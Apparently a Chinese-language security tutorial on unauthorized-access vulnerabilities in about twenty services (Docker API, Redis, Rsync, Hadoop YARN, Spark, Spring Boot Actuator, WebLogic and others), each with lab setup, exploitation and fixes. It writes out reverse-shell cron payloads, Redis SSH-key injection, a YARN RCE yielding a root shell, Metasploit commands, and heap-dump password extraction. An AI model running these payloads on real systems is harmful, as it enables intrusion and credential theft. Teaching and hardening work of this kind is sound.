/?query=SHOW%20DATABASES
text1 行

成功执行语句获取数据，执行其他命令探测出网

http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;
text1 行

可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息(获取敏感用户信息，数据库名以及数据表名)

CouchDB未授权访问漏洞

漏洞描述

CouchDB因配置不当可以未授权访问，被攻击者恶意利用。

攻击者无需认证访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意清空所有数据。

漏洞搭建

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md

使用docker-compose启动。

cd couchdb/CVE-2017-12636/
docker-compose up -d
bash2 行

漏洞利用

访问5984端口，就可以看到版本信息。

访问/_config接口，可以看到couchDB配置信息。

Docker未授权访问漏洞

漏洞描述

恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器。这可能导致敏感数据泄露，或允许攻击者执行未经授权的操作，如添加、修改或删除容器。

环境搭建

安装docker

yum install -y docker
text1 行

修改/usr/lib/systemd/system/docker.service服务，启动API接口。

ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
text1 行

重启docker服务。

systemctl daemon-reload
systemctl restart docker
text2 行

漏洞复现

输入ip:2375/version就会列出基本信息，和docker version命令效果一样。

利用docker容器写定时任务反弹shell

我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录，由此我们可以获得任意读写的权限，然后我们再将反弹shell命令写入定时任务crontab中，即可使宿主机反弹shell。

[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
text1 行

写入定时计划

/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
text1 行

安全加固

在不必需的情况下，不要启用docker的remote api服务，如果必须使用的话，可以采用如下的加固方式：

设置ACL，仅允许信任的来源IP连接；
设置TLS认证，官方的文档为Protect the Docker daemon socket
text2 行

客户端与服务器端通讯的证书生成后，可以通过以下命令启动docker daemon：

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
text1 行

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
text4 行

druid 监控页未授权访问漏洞

漏洞简介

Druid是阿里巴巴数据库出品的，为监控而生的数据库连接池，并且Druid提供的监控功能，监控SQL的执行时间、监控Web URI的请求、Session监控，首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问.

环境搭建

pom.xml配置

application.properties配置

#数据库连接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123

##启用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true

#启用内置的监控页面
spring.datasource.druid.stat-view-servlet.enabled=true
text11 行

漏洞复现

直接访问druid/index.html。

可以通过session功能进行伪造用户进行登录

修复方法

禁用durid

application.properties配置

spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false
text2 行

设置鉴权

#设置登录用户名
spring.datasource.druid.stat-view-servlet.login-username=admin
#设置登录密码
spring.datasource.druid.stat-view-servlet.login-password=123
text4 行

修改路径

##内置监控页面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*
text2 行

Dubbo 未授权访问漏洞

漏洞简介

Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架，使得应用可通过高性能的 RPC 实现服务的输 出和输入功能，可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

环境搭建

git clone https://github.com/alibaba/dubbo/tree/2.5.x
text1 行

进入dubbo-2.5.x 目录

执行mvn clean package -Dmaven.test.skip=true会生成如下结果

在dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target目录会发现生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz，解压这个文件夹

查看配置文件，会看到dubbo协议端口为7070

[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties 

dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log
text15 行

启动dubbo

[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh
text1 行

漏洞利用

nc连接7070端口，7070端口允许您执行各种管理任务，如查看注册表的状态、列出可用服务和查看注册表的日志级别。

如果服务具有命令执行功能，则使用 “invoke” 命令可能会执行命令，因为 “invoke” 命令用于调用特定的服务方法。

Hadoop YARN resourcemanager 未授权访问漏洞

漏洞描述

负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口，攻击者无需认证即可通过REST API部署任务来执行任意命令，最终可完全控制集群中所有的机器。

环境搭建

使用vulhub

[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml  exploit.py  README.md

[root@localhost ~]# docker-compose up
text4 行

访问8088端口，可以看到Hadoop YARN ResourceManager WebUI界面。

漏洞利用

启动nc

[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
text4 行

攻击脚本

成功攻击成功

Hadoop Yarn RPC未授权访问漏洞

漏洞简述

Hadoop Yarn作为Hadoop核心组件之一，负责将资源分配至各个集群中运行各种应用程序，并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务，攻击者可利用RPC服务执行任意命令，控制服务器。

同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样，因此即使在 REST API有授权认证的情况下，RPC服务所在端口仍然可以未授权访问。

环境搭建

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

需要修改docker-compose.yml，添加8032端口映射。

curl请求8032端口。

[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.
text2 行

漏洞利用

EXP：https://github.com/cckuailong/YarnRpcRCE

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
text4 行

查看日志

反弹shell

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"
text1 行

成功建立连接

[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001#
text12 行

漏洞修复

  1. Apache Hadoop官方建议用户开启Kerberos认证。
  2. 设置 Hadoop RPC服务所在端口仅对可信地址开放。
  3. 建议升级并启用Kerberos的认证功能，阻止未经授权的访问。

InfluxDB API 未授权访问漏洞

JBoss未授权访问漏洞

漏洞描述

JBoss 是一个管理 EJB 的容器和服务器，支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器，一般与 Tomcat 或 Jetty 绑定使用。JBoss 默认在 8080 端口监听。

在低版本的 JBoss 中，默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console)，无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞，可以进行后台服务管理，可以通过脚本命令执行系统命令，如反弹 shell、wget 写 Webshell 文件。

环境搭建

这里用CVE-2017-7504的漏洞环境，启动环境

[root@localhost CVE-2017-7504]# docker-compose up
text1 行

浏览器访问8080端口

漏洞复现

发现jboss默认页面,点击进入控制页

假设是未授权访问的话，点击JMX-Console不会提示输入用户名、密码，而这个地方用的是别的漏洞的环境，用户名密码都是admin、admin，所以就假装是不用输入用户名密码的

往下找jboss.deployment进入应用部署页面

进入应用部署页面后，下滑找到void addURL()，这里ParamValue部分填写远程服务器上的木马的地址。

访问iceword路径，就可以看到webshell

Jenkins未授权访问漏洞

漏洞描述

部署Jenkins 1.62版本，将全局授权策略打开，目前新版本的Jenkins已默认需要用户登录，但老版的中默认配置是“任意用户可以做任何事”，存在未授权访问的问题。

环境搭建

选择1.62版本进行下载，http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war

将WAR包丢到tomcat的webapps里面，启动tomcat

漏洞复现

进入管理页面：http://192.168.32.131:8080/jenkins/manage

进入脚本命令行，后缀输入script进入脚本命令行，输入：println "ls".execute().text，就可以执行ls命令。

Jupyter Notebook 未授权访问漏洞

漏洞描述

Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。

如果管理员未为 Jupyter Notebook 配置密码，将导致未授权访问漏洞，游客可在其中创建一个 console 并执行任意 Python 代码和命令。

环境搭建

version: '2'
services:
 web:
   image: vulhub/jupyter-notebook:5.2.2
   command: start-notebook.sh --NotebookApp.token=''
   ports:
    - "8888:8888"
text7 行

运行后，访问 http://your-ip:8888 将看到 Jupyter Notebook 的 Web 管理界面，并没有要求填写密码。

漏洞复现

选择 new -> terminal 即可创建一个控制台：

直接执行任意命令：

MongoDB未授权访问漏洞

漏洞描述

启动MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作（增删改高危动作）而且可以远程访问数据库。

环境搭建

docker下载mongo镜像

docker run  -it  -p  27017:27017 mongo
text1 行

漏洞复现

cli执行

┌──(root💀kali)-[~]
└─# mongo 192.168.32.131
MongoDB shell version v5.3.1
connecting to: mongodb://192.168.32.131:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("c7ddf3c3-2fbc-4b5a-b9a4-91dfce9703a2") }
MongoDB server version: 5.0.8
WARNING: shell and server versions do not match

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
text12 行

msf执行

msf6 > use auxiliary/scanner/mongodb/mongodb_login
msf6 auxiliary(scanner/mongodb/mongodb_login) > set rhosts 192.168.32.131
rhosts => 192.168.32.131
msf6 auxiliary(scanner/mongodb/mongodb_login) > run

[*] 192.168.32.131:27017 - Scanning IP: 192.168.32.131
[+] 192.168.32.131:27017 - Mongo server 192.168.32.131 doesn't use authentication
[*] 192.168.32.131:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
text9 行

修复建议

(1).新建管理账户开启MongoDB授权 新建终端[参数默认可以不加，若有自定义参数，才要加上，下同] mongod --port 27017 --dbpath /data/db1

另起一个终端，运行下列命令

  use admin

  db.createUser(
    {
      user: "adminUser",
      pwd: "adminPass",
      roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
    }
  )
text9 行

管理员创建成功，现在拥有了用户管理员 用户名:adminUser 密码:adminPass

(2).本地访问

bind 127.0.0.1
text1 行

(3).修改默认端口 修改默认的mongoDB端口(默认为: TCP 27017)为其他端口

(4).禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务，一般不需要通过web方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false (5).开启日志审计功能 审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情 (6).开启auth认证

/etc/mongodb.conf　　
auth = true
text2 行

NFS未授权访问漏洞

漏洞描述

NFS（Network File System）是一种网络文件系统，允许在不同的网络主机上共享文件。当NFS服务器未正确配置或缺少访问控制机制时，可能存在未授权访问漏洞。攻击者可以利用此漏洞访问受影响主机上的文件和数据，甚至可以修改或删除敏感信息。

环境搭建

# 安装nfs服务
yum install nfs-utils.x86_64 -y

# 启动服务
systemctl start nfs-server.service

# 设置开机自启
systemctl enable rpcbind.service
systemctl enable nfs-server.service

# 配置nfs
vim /etc/exports

/ *(rw,sync,no_root_squash)

# 启动共享
exportfs -r
text17 行

漏洞利用

查看共享

[root@localhost tmp]# showmount -e
Export list for localhost.localdomain:
/ *
text3 行

客户端挂载命令

mkdir /tmp/test
mount -t nfs 192.168.32.183:/ /tmp/test
text2 行

扫描nfs

查看挂载的目录，会出现所有的/目录下的文件

ls /tmp/test/
text1 行

RabbitMQ 未授权访问漏洞

漏洞描述

RabbitMQ未授权访问漏洞是指在没有安全验证的情况下，攻击者可以通过网络访问RabbitMQ服务器，获取或修改数据、执行命令等。

Redis未授权访问漏洞

简介

redis是一个开源的存储系统，支持数据的持久化存储、支持key-value、list、set等数据结构存储，支持备份。

但若redis存在未授权访问，就会导致攻击者可以无需认证就能访问redis内部资源，获取敏感文件，甚至执行flushall清空数据，给root账户写入ssh公钥直接远程登录目的服务器。

环境搭建

wget https://download.redis.io/releases/redis-5.0.14.tar.gz
tar xvf redis-5.0.14.tar.gz
cd  redis-5.0.14
make -j 4
make install
text5 行

直接运行redis-server

redis-server --protected-mode no
text1 行

漏洞复现

root@l-virtual-machine:/opt# redis-cli -h 192.168.32.141
192.168.32.141:6379> keys *
(empty array)
text3 行

SSH私钥访问

$ ssh-keygen -t  rsa
$ (echo -e "  "; cat /root/.ssh/id_rsa.pub; echo -e "  ") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.32.141 -x set test
$ redis-cli -h 192.168.32.141
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
bash13 行

反弹shell

此方法在ubuntu中因无法忽略乱码导致失败

#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.32.141/9999 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash6 行

Rsync未授权访问漏洞

漏洞描述

Rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新，因此使用人群多为开发人员。其中rsync协议默认监听873端口，而一般开发人员安全意识薄弱的情况下，如果目标开启了rsync服务，并且没有配置ACL或访问密码，我们将可以读写目标服务器文件。

环境搭建

rsyncd.conf

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log

[src]
path = /
comment = src path
read only = no
text12 行

启动rsync

rsync --no-detach --daemon --config /etc/rsyncd.conf
text1 行

漏洞利用

环境启动后，我们用rsync命令访问之：

[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src            	src path
text2 行

查看src目录

这是一个Linux根目录，我们可以下载任意文件：

[root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./
receiving incremental file list
passwd

sent 43 bytes  received 1,283 bytes  2,652.00 bytes/sec
total size is 1,197  speedup is 0.90
text6 行

或者写入定时计划：

echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' >> shell
text1 行
[root@localhost tmp]# rsync -av shell  rsync://192.168.32.183:873/src/etc/cron.d/root
sending incremental file list
shell

sent 146 bytes  received 35 bytes  362.00 bytes/sec
total size is 55  speedup is 0.30
text6 行

Spark 未授权访问漏洞

漏洞描述

Apache Spark是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动访问控制，攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用，Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码，会导致任意代码执行，威胁Spark集群整体的安全性。

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd /opt/vulhub-master/spark/unacc/
docker-compose up
text3 行

漏洞检测

环境启动后，访问http://your-ip:8080即可看到master的管理页面，访问http://your-ip:8081即可看到slave的管理页面。

该漏洞本质是未授权的用户可以向管理节点提交一个应用，这个应用实际上是恶意代码。

提交方式有两种：

利用REST API

构造payload

其中，spark.jars即是编译好的应用，mainClass是待运行的类，appArgs是传给应用的参数。

此时访问http://your-ip:8081 已经加载了exploit.jar

返回的包中有submissionId(driver-20220516074753-0000)，然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout，即可查看执行结果：

利用submissions网关（集成在7077端口中）

如果6066端口不能访问，或做了权限控制，我们可以利用master的主端口7077，来提交应用。

方法是利用Apache Spark自带的脚本bin/spark-submit：

bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
text1 行

如果你指定的master参数是rest服务器，这个脚本会先尝试使用rest api来提交应用；如果发现不是rest服务器，则会降级到使用submission gateway来提交应用。

查看结果的方式与前面一致。

MSF

msf5>use exploit/linux/http/spark_unauth_rce 
msf5>set payload java/meterpreter/reverse_tcp 
msf5>set rhost 192.168.100.2 
msf5>set rport 6066 
msf5>set lhost 192.168.100.1 
msf5>set lport 4444 
msf5>set srvhost 192.168.100.1 
msf5>set srvport 8080 
msf5>exploit
text9 行

修复方案

创建认证filter对应的jar包

在idea中通过maven编译源码方式。

添加maven依赖

创建maven项目后，pom.xml添加如下依赖：

创建com.demo包

这段代码是一个 Java 的 Servlet Filter 类，名为 SparkAuthFilter。该类实现了 Filter 接口，在接收 HTTP 请求时可以对请求进行认证，并决定是否允许该请求继续向下传递。

在 Filter 初始化时，可以从配置中读取 username 和 password，并赋值到类的实例变量中。

对于每一个请求，程序会检查请求的 Authorization header 是否存在，并判断是否是 Basic 认证方式。如果是，程序会对 header 中的认证凭证进行解码，并与 username 和 password 进行比较，如果一致则允许请求继续，否则返回 401 Unauthorized。

在返回 401 Unauthorized 时，程序会在 HTTP 响应的 WWW-Authenticate header 中加入认证需要使用的 realm 信息。

使用maven进行编译，编译的jar包在target目录下面。

执行配置

  1. 将jar包上传到spark的jars目录。
  2. spark-defaults.conf配置文件中，增加如下配置：
spark.ui.filters=com.demo.SparkAuthFilter
spark.com.demo.SparkAuthFilter.param.username=test
spark.com.demo.SparkAuthFilter.param.password=password
spark.acls.enable=true
text4 行

重启spark集群

[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/stop-all.sh
[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/start-all.sh
text2 行

Spring Cloud Gateway Server 未授权访问漏洞

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

环境搭建

执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务：

docker-compose up -d
text1 行

服务启动后，访问http://your-ip:8080即可看到演示页面，这个页面的上游就是example.com。

漏洞复现

利用这个漏洞需要分多步。

首先，发送如下数据包即可添加一个包含恶意SpEL表达式的路由：

然后，发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行：

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
text7 行

发送如下数据包即可查看执行结果：

最后，发送如下数据包清理现场，删除所添加的路由：

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
text7 行

再刷新下路由：

SpringBoot Actuator未授权访问漏洞

简介

Spring Boot Actuator是Spring Boot项目中的一个模块，它提供了一组用于监控和管理Spring Boot应用程序的端点。这些端点可以用来检索应用程序的运行状态、查看应用程序的统计数据、查看应用程序中的配置信息等。

此外，还可以使用Actuator执行一些安全操作，如关闭应用程序。使用Actuator可以更好的监控、管理和维护Spring Boot应用程序。

其中以下是它端点：

Http 路径 描述
get /autoconfig 提供了一份自动配置报告，记录哪些自动配置条件通过了，哪些没通过
get /configprops 描述配置属性（包含默认值）如何注入 Bean
get /beans 描述应用程序上下文里全部的 Bean，以及它们的关系
get /dump 获取线程活动的快照
get /env 获取全部环境属性
get /env/{name} 根据名称获取特定的环境属性值
get /health 报告应用程序的健康指标，这些值由 HealthIndicator 的实现类提供
get /info 获取应用程序的定制信息，这些信息由 info 打头的属性提供
get /mappings 描述全部的 URI 路径，以及它们和控制器（包含 Actuator 端点）的映射关系
get /metrics 报告各种应用程序度量信息，比如内存用量和 HTTP 请求计数
get /metrics/{name} 报告指定名称的应用程序度量值
post /shutdown 关闭应用程序，要求 endpoints.shutdown.enabled 设置为 true（默认为 false）
get /trace 提供基本的 HTTP 请求跟踪信息（时间戳、HTTP 头等）
get /heapdump 获取正在运行的JVM的堆转储

环境搭建

SpringBoot Actuator未授权访问漏洞分为1.x版本和2.x版本。

srpingboot 2.x

下载demo代码

git clone https://github.com/callicoder/spring-boot-actuator-demo.git
text1 行

maven将项目代码构建成jar包。

mvn package
text1 行

启动Spring Boot应用程序

java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
text1 行

浏览器访问： http://localhost:8080.

srpingboot 1.x

使用IDEA新建一个maven项目。修改pom.xml，声明了一个父级依赖关系，表示该项目依赖于Spring Boot的spring-boot-starter-parent项目，版本为1.4.6.RELEASE。

新增测试文件：\src\main\java\Example.java

修改application.properties

endpoints.beans.enabled=true
spring.redis.password=123456
text2 行

漏洞复现

srpingboot 2.x

访问/info接口，泄露springboot项目信息。

访问/env接口，泄露springboot环境变量信息。

springboot 1.x

访问/metrics接口，显示应用的信息。

访问/trace接口，显示访问数据包具体信息。

heapdump泄露读取

Spring Boot Actuator的堆转储功能如果没有适当的配置，可能是一个安全漏洞。它允许通过URL获取正在运行的JVM的堆转储，其中可能包含敏感信息。

访问/heapdump接口下载heapdump文件。

jvisualvm分析

JVisualVM是由Oracle提供的Java可视化和监控工具。它包含在Oracle JDK分发版中，可用于监视和配置Java应用程序，诊断性能问题，并检查内存使用和堆转储。

JVisualVM提供了各种功能，包括：

  • 监控JVM性能、内存使用和线程
  • 配置Java应用程序的CPU和内存使用情况
  • 堆转储分析和内存泄漏检测
  • JMX控制台，用于检查和管理MBeans

打开jvisualvm.exe

加载heapdump文件

在工具菜单栏点击插件，安装OQL插件

构建OQL语句进行关键字查询，从而获取明文密码。

Spring boot 1.x版本查询语句：

select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())
text1 行

Spring boot 2.x版本查询语句：

select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())
text1 行

jhat

JHat是Java堆分析工具。它可以用于分析Java堆转储文件，以找出内存泄漏和其他内存问题。并且提供了一个网页界面，允许用户浏览堆转储中的对象，检查引用关系，检查内存使用情况等。

使用jhat命令分析heapdump文件，会启动7000端口web页面。

访问7000端口，需要人工搜索关键字。

heapdump_tool

本质上是基于jhat，通过通过jhat解析heapdump文件，从而实现heapdump敏感信息搜索。

下载链接：https://toolaffix.oss-cn-beijing.aliyuncs.com/heapdump_tool.jar

java -jar heapdump_tool.jar  heapdump
text1 行

选择1，获取全部内容

然后输入关键字

查询方式：

  1. 关键词 例如 password
  2. 字符长度 len=10 获取长度为10的所有key或者value值
  3. 按顺序获取 num=1-100 获取顺序1-100的字符 获取url,file,ip geturl 获取所有字符串中的url getfile 获取所有字符串中的文件路径文件名 getip 获取所有字符串中的ip 默认不输出查询结果非key-value格式的数据，需要获取所有值，输入all=true，all=false取消显示所有值。

mat

Heap Dump也叫堆转储文件，是一个Java进程在某个时间点上的内存快照。 可以使用Eclipse MemoryAnalyzer 工具对泄露的heapdump文件进行分析，查询加载到内存中的明文密码信息。 独立版下载地址：http://www.eclipse.org/mat/downloads.php

最新版用Java 11，可以下载历史版本

spring boot 1.x 版本 heapdump 查询结果，最终结果存储在 java.util.Hashtable$Entry 实例的键值对中

select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
text2 行

spring boot 2.x 版本 heapdump 查询结果，最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中：

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
text1 行

修复建议

springboot 2.x修复方法

禁用接口

application.properties配置文件内改成：management.endpoint.beans.enabled=false

management.endpoint.beans.enabled=false
text1 行
actuator接口进行鉴权

application.properties

# Spring Security default user name and password
spring.security.user.name=actuator
spring.security.user.password=actuator
spring.security.user.roles=ACTUATOR_ADMIN
text4 行

如果需要访问actuator接口，则可以自定义代码，引用security进行鉴权访问。

\src\main\java\com\example\actuatordemo\config\ActuatorSecurityConfig.java

此Spring Security配置执行以下操作：

  1. 对Shutdown端点的访问受限制，仅限于ACTUATOR_ADMIN角色。
  2. 允许对所有其他actuator端点的访问。
  3. 允许对静态资源的访问。
  4. 允许访问主页（/）。
  5. 所有其他请求都需要进行身份验证。
  6. 启用http基本身份验证以完成配置。您可以自由使用其他形式的身份验证。

\src\main\java\com\example\actuatordemo\controller\SampleController.java

此控制器执行以下操作：

  1. 定义了一个”/ “路径，返回带有请求参数名称的问候语。
  2. 定义了一个”/slowApi“路径，可以模拟耗时的API请求，可以通过请求参数”delay“指定延迟，如果未指定，则随机生成延迟。

\src\main\java\com\example\actuatordemo\health\CustomHealthIndicator.java

这是一个健康指标组件，继承自AbstractHealthIndicator。

doHealthCheck方法构建健康状态的详细信息，如果抛出异常，状态将是DOWN，并带有异常信息。

该示例报告应用程序的健康状态是“Alive and Kicking”，错误是“Nothing! I’m good.”

启动服务访问actuator就可以看到需要输入密码

springboot 1.x修复方案

禁用接口
#关闭全部接口
endpoints.enabled = false

###只开启某些接口
#endpoints.beans.enabled = true
#endpoints.env.enabled = true
#endpoints.trace.enabled = true
#endpoints.metrics.enabled = true
text8 行
鉴权

另外也可以引入spring-boot-starter-security依赖

　　　　　<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>
text4 行

在application.properties中指定actuator的端口以及开启security功能，配置访问权限验证，这时再访问actuator功能时就会弹出登录窗口，需要输入账号密码验证后才允许访问。

management.security.enabled=true
security.user.name=admin
security.user.password=admin
text3 行

VNC Server 未授权访问漏洞

CVE-2006-2369

漏洞描述

RealVNC VNC Server是英国RealVNC公司的一个远程访问软件的 VNC 服务器。

RealVNC VNC Server 存在授权问题漏洞，该漏洞源于采用的RFB(远程帧缓冲区)协议允许客户端与服务端协商合适的认证方法，协议的实现上存在设计错误，远程攻击者可以绕过认证无需口令实现对服务器的访问。

影响范围

RealVNC <= 4.1.1

环境搭建

win2003系统

下载地址:https://www.filesoul.com/software/RealVNC/4-1-1/download/

进行安装(一直下一步即可)

漏洞利用

vncviewer 192.168.32.252
text1 行

防御手段

  • 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

  • 以最小普通权限身份运行操作系统。

Weblogic 未授权访问漏洞

漏洞描述

Weblogic是Oracle公司推出的J2EE应用服务器，CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞检测

使用vulhub搭建漏洞演示环境

cd vulhub/weblogic/CVE-2020-14882
sudo docker-compose up -d
bash2 行
http://192.168.0.5:7001/console/css/%252e%252e%252fconsole.portal
text1 行

攻击者可以构造特殊请求的URL，即可未授权访问到管理后台页面：

远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console ，并在 WebLogic Server Console 执行任意代码。

Zabbix未授权访问漏洞

漏洞描述

Zabbix存在一个未授权访问漏洞，通过该漏洞，攻击者可以在未经授权的情况下访问Zabbix服务器上的数据，导致敏感信息泄露。

影响版本

Zabbix <= 4.4

环境搭建

docker run -p 10051:10051  -p 80:80 zabbix/zabbix-appliance:ubuntu-4.0.12
text1 行

漏洞利用

访问：http://192.168.32.183/zabbix.php?action=problem.view&ddreset=1

访问：http://192.168.32.183/overview.php?ddreset=1

